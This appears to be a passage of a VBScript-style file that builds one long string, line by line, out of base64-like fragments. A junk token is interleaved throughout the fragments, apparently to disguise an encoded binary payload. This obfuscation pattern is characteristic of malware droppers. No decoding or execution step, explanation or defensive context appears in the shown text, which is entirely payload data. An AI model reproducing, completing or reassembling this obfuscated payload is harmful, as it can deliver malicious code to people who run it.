IWHGBkP = IWHGBkP & "#%@@&&^%^#%4/g@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%HNb@@&&^%^#%@@&&^%^#%@@&&^%^#%KehEEewo@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%Qoag@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%BhV@@&&^%^#%w@@&&^%^#%Q@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%C@@&&^%^#%v@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%ONw@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%RBHsJ@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%EFhEKI@@&&^%^#%@@&&^%^#%w@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%fQChp@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%GEw0XKHM@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%Y68QE@@&&^%^#%@@&&^%^#%CYgBw@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%Diu@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%EQcWI@@&&^%^#%I@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%QCeICc@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%ocg@@&&^%^#%@@&&^%^#%BjqW"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%JgU6"
IWHGBkP = IWHGBkP & "kQE@@&&^%^#%@@&&^%^#%C@@&&^%^#%Q@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%OIU@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%RDDkE@@&&^%^#"
IWHGBkP = IWHGBkP & "%w@@&&^%^#%@@&&^%^#%IBY@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%XOnM@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%mBBEFH1TWKHk@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%YTCy@@&&^%^#%F@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%Fzpa@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%JhEEewk@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%QRCB7WEgkaEgEoZg@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%BjqZ@@&&^%^#%g@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%ICQ@@&&^%^#%@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%WOTQ@@&&^%^#%@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%mEQ06LgE@@&&^%^#%@@&&^%^#%C@@&&^%"
IWHGBkP = IWHGBkP & "^#%J@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "OCI@@&&^%^#%@@&&^%^#%@@&&^%^#%BzWw@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%CnoRBSD4@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%1hMOOHMD@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%gLg@@&&^%^#%@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%P4OG@@&&^%^#%D+DBg@@&&^%^#%RT@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%Bt@@&&^%^#%g@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%Ww@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%PIB@@&&^%^#%@@&&^%^#%Ch@@&&^%^#%g@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%mP3//xo@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%DB@@&&^%^#%Q@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "PQ@@&&^%^#%@@&&^%^#%@@&&^%^#%BX+//9O@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%xQ@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%FMC@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%DJ/v//X/7//xMB@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%s@@&&^%^#%Q@@&&^%^#%@@&&^%^#%CP///wj+"
IWHGBkP = IWHGBkP & "//9P@@&&^%^#%Q@@&&^%^#%@@&&^%^#%lw@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%D0@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%CK@@&&^%^#%g@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "D@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%CcC"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%C2/v//ZwE@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%NwC@@&&^%^#%@@&&^%^#%Cq@@&&^%^#%Q@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%uQI@@&&^%^#%@@&&^%^#%K/9"
IWHGBkP = IWHGBkP & "//+E@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "q@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%Nw@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%Z////"
IWHGBkP = IWHGBkP & "pv7//+8@@&&^%^#%@@&&^%^#%@@&&^%^#%CP@@&&"
IWHGBkP = IWHGBkP & "^%^#%Q@@&&^%^#%@@&&^%^#%1wE@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%G4@@&&^%^#%@@&&^%^#%@@&&^%^#%DM/f//"
IWHGBkP = IWHGBkP & "jf7//z3+//8C@@&&^%^#%g@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "4v7//3v9///4@@&&^%^#%g@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "5/3//w8D@@&&^%^#%@@&&^%^#%@@&&^%^#%g@@&&"
IWHGBkP = IWHGBkP & "^%^#%w@@&&^%^#%@@&&^%^#%@@&&^%^#%BY5MP//"
IWHGBkP = IWHGBkP & "/yYRBhMNI@@&&^%^#%Y@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%4If///xEEewk@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%QRBhEKI@@&&^%^#%@@&&^%^#%w"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%fQChp@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%GEw0gIg@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%Dj+/v//EQ061/3//y@@&&^%^#%I"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%OO3+"
IWHGBkP = IWHGBkP & "//8XEwwgDQ@@&&^%^#%@@&&^%^#%@@&&^%^#%Djg"
IWHGBkP = IWHGBkP & "/v//c1s@@&&^%^#%@@&&^%^#%@@&&^%^#%p6BBEF"
IWHGBkP = IWHGBkP & "HyjWKHk@@&&^%^#%@@&&^%^#%@@&&^%^#%YTEDhD"
IWHGBkP = IWHGBkP & "/v//Ji@@&&^%^#%Y@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%KHI@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%Y6uP7//yYREhERPlQC@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%gI@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%Dik/v//ERQ5@@&&^%^#%P3//y@@&&^%^#%s"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%OJP+"
IWHGBkP = IWHGBkP & "//9zWw@@&&^%^#%@@&&^%^#%CnoEEQUfUNYoeQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%BhMKI@@&&^%^#%w@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%4dv7//wQRBR80"
IWHGBkP = IWHGBkP & "1ih5@@&&^%^#%@@&&^%^#%@@&&^%^#%GEwYgEg@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%Dhf/v//EQ0ofQ@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%BhMPICM@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%4TP7//xEEewk@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%QRCB7WEQ8aEgEoZw@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%BjpY////I@@&&^%^#%E@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%4KP7//wQRFREW"
IWHGBkP = IWHGBkP & "FhEWjmkof@@&&^%^#%@@&&^%^#%@@&&^%^#%Bi@@"
IWHGBkP = IWHGBkP & "&&^%^#%Z@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%O@@&&^%^#%/+//9zWw@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "CnoRBHsK@@&&^%^#%@@&&^%^#%@@&&^%^#%EEQco"
IWHGBkP = IWHGBkP & "Yw@@&&^%^#%@@&&^%^#%Bjq5@@&&^%^#%Q@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%IC0@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%47P3//yCz@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%jQM@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%ETBy@@&&^%^#%o@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%FzrV/f//JhEEewk@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%QRDRET1hEWERaOaRIBKGc@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%Y6Gfz//y@@&&^%"
IWHGBkP = IWHGBkP & "^#%E@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "OKz9//9zWw@@&&^%^#%@@&&^%^#%CnoRBhEJQBD/"
IWHGBkP = IWHGBkP & "//8gHQ@@&&^%^#%@@&&^%^#%@@&&^%^#%Bc6kv3/"
IWHGBkP = IWHGBkP & "/yYEEQ4fENYoeQ@@&&^%^#%@@&&^%^#%BhMUIBU@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%4ev3/"
IWHGBkP = IWHGBkP & "/xEHHywRDREQ1p4gJQ@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%BY5Zf3//yYoeg@@&&^%^#%@@&&^%^#%Bhp@"
IWHGBkP = IWHGBkP & "@&&^%^#%Jg@@&&^%^#%@@&&^%^#%@@&&^%^#%C@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%KHI@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%Y6Sv3//yYREhfWExIgHg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%Dg5/f//c1s@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%p6EQR7Cg@@&&^%^#%@@&&^%^#%BBEHKGU@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%Y6KPz//y@@&&^%"
IWHGBkP = IWHGBkP & "^#%p@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "FjkV/f//JgIIflw@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%p+X@@&&^%^#%@@&&^%^#%@@&&^%^#%ChYaflw@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%oUEgMSBChh@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%GOh@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%gCw@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%Djo/P//c1s@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%p6BB88KHk@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%YTBS@@&&^%^#%K@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%OM78//8RBHsK@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%EEQcoZ@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%BjrD+///ICo@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%4sfz//wQRDh8U1ih5"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%GExUgEw@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%@@&&^%^#%Dia/P//BBEFHNYoew@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%BhfaExEgEQ@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%DiC/P//EQR7Cg@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%BBEHKGI@@&&^%^#%@@&&^%^#%@@&&^%^#%Y6"
IWHGBkP = IWHGBkP & "Mg@@&&^%^#%@@&&^%^#%@@&&^%^#%C@@&&^%^#%P"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%KHI@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%Y6YPz//yY4o/3/"
IWHGBkP = IWHGBkP & "/wQRDh8M1ih5@@&&^%^#%@@&&^%^#%@@&&^%^#%G"
IWHGBkP = IWHGBkP & "ExMgGw@@&&^%^#%@@&&^%^#%@@&&^%^#%DhD/P//"
IWHGBkP = IWHGBkP & "c1s@@&&^%^#%@@&&^%^#%@@&&^%^#%p6EQcfKZQT"
IWHGBkP = IWHGBkP & "CC@@&&^%^#%r@@&&^%^#%@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%OCz8//9zWw@@&&^%^#%@@&&^%^#%Cnrd"
IWHGBkP = IWHGBkP & "Lg@@&&^%^#%@@&&^%^#%@@&&^%^#%Ch+@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%GEQR7Cw@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%BIQofw@@&&^%^#%@@&&^%^#%BhMXERc5Bw@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%@@&&^%^#%BEXKI@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%YWCiiB@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%G3cg@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%XCi@@&&^%^#%I@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%@@&&^%^#%OCw@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%S@@&&^%^#%/4V"
IWHGBkP = IWHGBkP & "Dg@@&&^%^#%@@&&^%^#%@@&&^%^#%i@@&&^%^#%F"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%OBo@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%S@@&&"
IWHGBkP = IWHGBkP & "^%^#%xZ9G@@&&^%^#%@@&&^%^#%@@&&^%^#%BDg2"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%I@@&"
IWHGBkP = IWHGBkP & "&^%^#%Y@@&&^%^#%@@&&^%^#%@@&&^%^#%D+Dhk@"
IWHGBkP = IWHGBkP & "@&&^%^#%/gwZ@@&&^%^#%EUJ@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%Eg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%L3///+9+f//vf///w@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%BJ@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%Mw@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%Kv///9n@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%@@&&^%^#%O@@&&^%^#%0@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%mI@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%WOcb/"
IWHGBkP = IWHGBkP & "//8mEgPQDg@@&&^%^#%@@&&^%^#%@@&&^%^#%ih1"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%GKHY@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%a4fQ0@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%Qg@@&&^%^#%g@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%Dik////csQF@@&&^%^#%H@@&&^%^#%C"
IWHGBkP = IWHGBkP & "KHQ@@&&^%^#%@@&&^%^#%@@&&^%^#%YMI@@&&^%^"
IWHGBkP = IWHGBkP & "#%c@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%4"
IWHGBkP = IWHGBkP & "jv///xIE/hUN@@&&^%^#%@@&&^%^#%@@&&^%^#%C"
IWHGBkP = IWHGBkP & "Fihy@@&&^%^#%@@&&^%^#%@@&&^%^#%GOan///8m"
IWHGBkP = IWHGBkP & "I@@&&^%^#%E@@&&^%^#%@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%4cP///wYq@@&&^%^#%@@&&^%^#%BBH@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%4@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%C0BQ@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%wgU@@&&^%^#%@@&&^%^#%C4@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%l@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%BOisCJhb+CQ@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%KB4@@&&^%^#%@@&&^%^#%@@&&^%^#%oq@@&&"
IWHGBkP = IWHGBkP & "^%^#%Eor@@&&^%^#%iYW/gk@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%P4J@@&&^%^#%QBvXQ@@&&^%^#%@@&&^%^#%Cio@"
IWHGBkP = IWHGBkP & "@&&^%^#%TisCJhY@@&&^%^#%/gk@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%P4J@@&&^%^#%Q@@&&^%^#%oTw@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%Cio6KwImFv4J@@&&^%^#%@@&&^%^#%Bv"
IWHGBkP = IWHGBkP & "Xg@@&&^%^#%@@&&^%^#%Cio@@&&^%^#%bisCJhY@"
IWHGBkP = IWHGBkP & "@&&^%^#%/gk@@&&^%^#%@@&&^%^#%P4J@@&&^%^#"
IWHGBkP = IWHGBkP & "%QD+CQI@@&&^%^#%/gkD@@&&^%^#%Chs@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%GKhor@@&&^%^#%iYWFyo@"
IWHGBkP = IWHGBkP & "@&&^%^#%GisCJhYWKgBOKwImFgD+CQ@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%/gkB@@&&^%^#%Chf@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%KKj4r@@&&^%^#%iYW@@&&^%^#%P4J"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%oH@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%@@&&^%^#%Cio+KwImFgD+CQ@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%KG@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%oqPisCJhY@@&&^%^#%/gk@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%Chh@@&&^%^#%@@&&^%^#%@@&&^%^#%KKl4r"
IWHGBkP = IWHGBkP & "@@&&^%^#%iYW@@&&^%^#%P4J@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%D+CQE@@&&^%^#%/gkC@@&&^%^#%ChH@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%KKk4r@@&&^%^#%iYW@@&&"
IWHGBkP = IWHGBkP & "^%^#%P4J@@&&^%^#%@@&&^%^#%D+CQE@@&&^%^#%"
IWHGBkP = IWHGBkP & "KGI@@&&^%^#%@@&&^%^#%@@&&^%^#%oqLisCJhY@"
IWHGBkP = IWHGBkP & "@&&^%^#%KGM@@&&^%^#%@@&&^%^#%@@&&^%^#%oq"
IWHGBkP = IWHGBkP & "TisCJhY@@&&^%^#%/gk@@&&^%^#%@@&&^%^#%P4J"
IWHGBkP = IWHGBkP & "@@&&^%^#%Q@@&&^%^#%oZ@@&&^%^#%@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%Cip+KwImFgD+CQ@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "/gkB@@&&^%^#%P4J@@&&^%^#%gD+CQM@@&&^%^#%"
IWHGBkP = IWHGBkP & "/gkE@@&&^%^#%Chl@@&&^%^#%@@&&^%^#%@@&&^%"
IWHGBkP = IWHGBkP & "^#%KKj4r@@&&^%^#%iYW@@&&^%^#%P4J@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%@@&&^%^#%oZg@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "Cio+KwImFgD+CQ@@&&^%^#%@@&&^%^#%KEk@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%oqPisCJhY@@&&^%^#%"
IWHGBkP = IWHGBkP & "/gk@@&&^%^#%@@&&^%^#%Chn@@&&^%^#%@@&&^%^"
IWHGBkP = IWHGBkP & "#%@@&&^%^#%KKjor@@&&^%^#%iYW/gk@@&&^%^#%"
IWHGBkP = IWHGBkP & "@@&&^%^#%G9o@@&&^%^#%@@&&^%^#%@@&&^%^#%K"
IWHGBkP = IWHGBkP & "Kg@@&&^%^#%uKwImFg@@&&^%^#%oSg@@&&^%^#%@"
IWHGBkP = IWHGBkP & "@&&^%^#%CipGKwImFgIDKBM@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%YoF@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "Bio@@&&^%^#%@@&&^%^#%C4r@@&&^%^#%iYW@@&&"
IWHGBkP = IWHGBkP & "^%^#%igX@@&&^%^#%@@&&^%^#%@@&&^%^#%GKj4r"
IWHGBkP = IWHGBkP & "@@&&^%^#%iYW0@@&&^%^#%Y@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%@@&&^%^#%IoG@@&&^%^#%@@&&^%^#%@@&&^%^#%"
IWHGBkP = IWHGBkP & "BiouKwImFgIoGQ@@&&^%^#%@@&&^%^#%BioTM@@&"
IWHGBkP = IWHGBkP & "&^%^#%I@@&&^%^#%Hg@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%I@@&&^%^#%@@&&^%^#%BEr@@&&"
IWHGBkP = IWHGBkP & "^%^#%iYW@@&&^%^#%owF@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%bOgs@@&&^%^#%@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%o@@&&^%^#%Q@@&&^%^#%@@&&^%^#%Kwo4"
IWHGBkP = IWHGBkP & "@@&&^%^#%g@@&&^%^#%@@&&^%^#%@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%IKBio@@&&^%^#%@@&&^%^#%DIr@@&&^%^#"
IWHGBkP = IWHGBkP & "%iYW@@&&^%^#%/4VBQ@@&&^%^#%@@&&^%^#%Gyo@"
IWHGBkP = IWHGBkP & "@&&^%^#%@@&&^%^#%@@&&^%^#%@@&&^%^#%+KwIm"
IWHGBkP = IWHGBkP & "FisCJhYCKBo@@&&^%^#%@@&&^%^#%@@&&^%^#%Yq"
IWHGBkP = IWHGBkP & "PisCJhY@@&&^%^#%/gk@@&&^%^#%@@&&^%^#%CgZ"
IWHGBkP = IWHGBkP & "@@&&^%^#%@@&&^%^#%@@&&^%^#%KKkor@@&&^%^#"
IWHGBkP = IWHGBkP & "%iYW/gk@@&&^%^#%@@&&^%^#%P4J@@&&^%^#%Q@@"
IWHGBkP = IWHGBkP & "&&^%^#%oGg@@&&^%^#%@@&&^%^#%Cio@@&&^%^#%"
IWHGBkP = IWHGBkP & "GisCJhYXKg@@&&^%^#%aKwImFhYq@@&&^%^#%Dor"
IWHGBkP = IWHGBkP & "@@&&^%^#%iYW/gk@@&&^%^#%@@&&^%^#%Cgb@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%@@&&^%^#%KKg@@&&^%^#%+KwIm"
IWHGBkP = IWHGBkP & "FgD+CQ@@&&^%^#%@@&&^%^#%KBw@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%oqOisCJhb+CQ@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%KB0@@&&^%^#%@@&&^%^#%@@&&^%^#%oq@@&&"
IWHGBkP = IWHGBkP & "^%^#%Dor@@&&^%^#%iYW/gk@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%Cge@@&&^%^#%@@&&^%^#%@@&&^%^#%KKg@@&&^%"
IWHGBkP = IWHGBkP & "^#%TM@@&&^%^#%M@@&&^%^#%Lw@@&&^%^#%@@&&^"
IWHGBkP = IWHGBkP & "%^#%@@&&^%^#%@@&&^%^#%M@@&&^%^#%@@&&^%^#"
IWHGBkP = IWHGBkP & "%BEr@@&&^%^#%iYW@@&&^%^#%nsf@@&&^%^#%@@&"
IWHGBkP = IWHGBkP & "&^%^#%@@&&^%^#%Kby@@&&^%^#%@@&&^%^#%@@&&"
IWHGBkP = IWHGBkP & "^%^#%@@&&^%^#%oKBowI@@&&^%^#%@@&&^%^#%@@"
IWHGBkP = IWHGBkP & "&&^%^#%bOhI@@&&^%^#%@@&&^%^#%@@&&^%^#%@@"
